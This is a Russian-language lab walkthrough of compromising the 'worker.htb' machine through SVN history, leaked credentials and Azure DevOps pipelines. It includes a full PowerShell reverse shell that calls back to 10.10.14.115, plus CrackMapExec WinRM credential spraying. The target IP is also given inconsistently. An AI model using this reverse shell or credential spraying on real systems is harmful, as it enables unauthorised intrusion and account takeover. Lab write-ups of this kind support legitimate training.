Hacking

Как захватить хост с Azure DevOps

Azure DevOps Serve-продукт от Microsoft Corporation, который представляет собой комплексное решение, сочетающее в себе систему контроля версий, сбор данных, отчетность, статус и отслеживание изменений для проекта и предназначенное для совместной работы над проектами разработки программного обеспечения. Продукт доступен как отдельное приложение, аналогичное по функциям облачной службе Azure DevOps Services (до 2019 года называлась Visual Studio Team Services, VSTS) 

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.203 worker.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Давайте обратимся к службе svn. Subversion — это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb

И мы знаем базовую ветку, автора и  что мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
 svn export svn://worker.htb/moved.txt

И из последнего файла узнаем новый поддомен.

Добавим его в /etc/hosts.

10.10.10.203 devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
 svn checkout -r 2 svn://worker.htb

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1

 

И в данном powershell скрипте обнаружим учетные данные.

 С найденными учетными данными получается аутентифицироваться на сайте.

USER

Обратим внимание на репозиторий и то, что он содержит код.

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203 spectral.worker.htb

И нас встречает сайт.

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

И после применения всех изменений, обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()

И получаем шелл.

Немного осмотревшись, находим директории с конфигурациями.

 

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

 Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

Вся информация предоставлена ​​только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных при изучении этого документа.

Click to rate this post!
[Total: 0 Average: 0]
faza

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

12 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago